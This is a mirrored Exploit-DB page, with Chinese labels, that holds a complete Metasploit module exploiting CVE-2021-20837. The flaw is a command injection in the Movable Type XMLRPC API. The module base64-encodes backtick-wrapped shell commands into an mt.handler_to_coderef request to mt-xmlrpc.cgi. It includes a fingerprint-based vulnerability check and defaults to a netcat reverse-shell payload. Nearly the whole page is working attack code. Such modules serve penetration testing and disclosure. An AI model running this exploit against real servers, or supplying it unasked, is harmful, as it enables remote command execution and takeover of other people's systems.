Movable Type 7 r.5002 – XMLRPC API OS Command Injection (Metasploit)

  • 作者: Charl-Alexandre Le Brun
    日期: 2021-10-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50464/
  • class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Movable Type XMLRPC API Remote Command Injection",
    'Description'=> %q{
    This module exploit Movable Type XMLRPC API Remote Command Injection.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Etienne Gervais', # author & msf module,
    'Charl-Alexandre Le Brun' # author & msf module
    ],
    'References' =>
    [
    ['CVE', '2021-20837'],
    ['URL', 'https://movabletype.org/'],
    ['URL', 'https://nemesis.sh/']
    ],
    'DefaultOptions'=>
    {
    'SSL' => false,
    },
    'Platform' => ['linux'],
    'Arch' => ARCH_CMD,
    'Privileged' => false,
    'DisclosureDate' => "2021-10-20",
    'DefaultTarget'=> 0,
    'Targets' => [
    [
    'Automatic (Unix In-Memory)',
    {
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Type' => :unix_memory,
    'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
    }
    ]
    ]
    ))
    register_options(
    [
    Opt::RPORT(80),
    OptString.new('TARGETURI', [ true, 'The URI of the MovableType', '/cgi-bin/mt/'])
    ], self.class
    )
    end
    
    def cmd_to_xml(cmd, opts={})
    base64_cmd = Rex::Text.encode_base64("`"+cmd+"`")
    xml_body = <<~THISSTRING
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>mt.handler_to_coderef</methodName>
    <params>
    <param>
    <value>
    <base64>
    #{base64_cmd}
    </base64>
    </value>
    </param>
    </params>
    </methodCall>
    THISSTRING
    end
    
    def check
    begin
    fingerprint = Rex::Text.rand_text_alpha(32)
    command_payload = cmd_to_xml("echo "+fingerprint)
    
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
    'ctype' => 'text/xml; charset=UTF-8',
    'data'=> command_payload
    })
    
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200
    
    if res && res.body.include?("Can't locate "+fingerprint)
    return Exploit::CheckCode::Vulnerable
    end
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    Exploit::CheckCode::Safe
    end
    
    def exploit
    begin
    command_payload = cmd_to_xml(payload.raw)
    
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
    'ctype' => 'text/xml; charset=UTF-8',
    'data'=> command_payload
    })
    
    rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    
    end
    end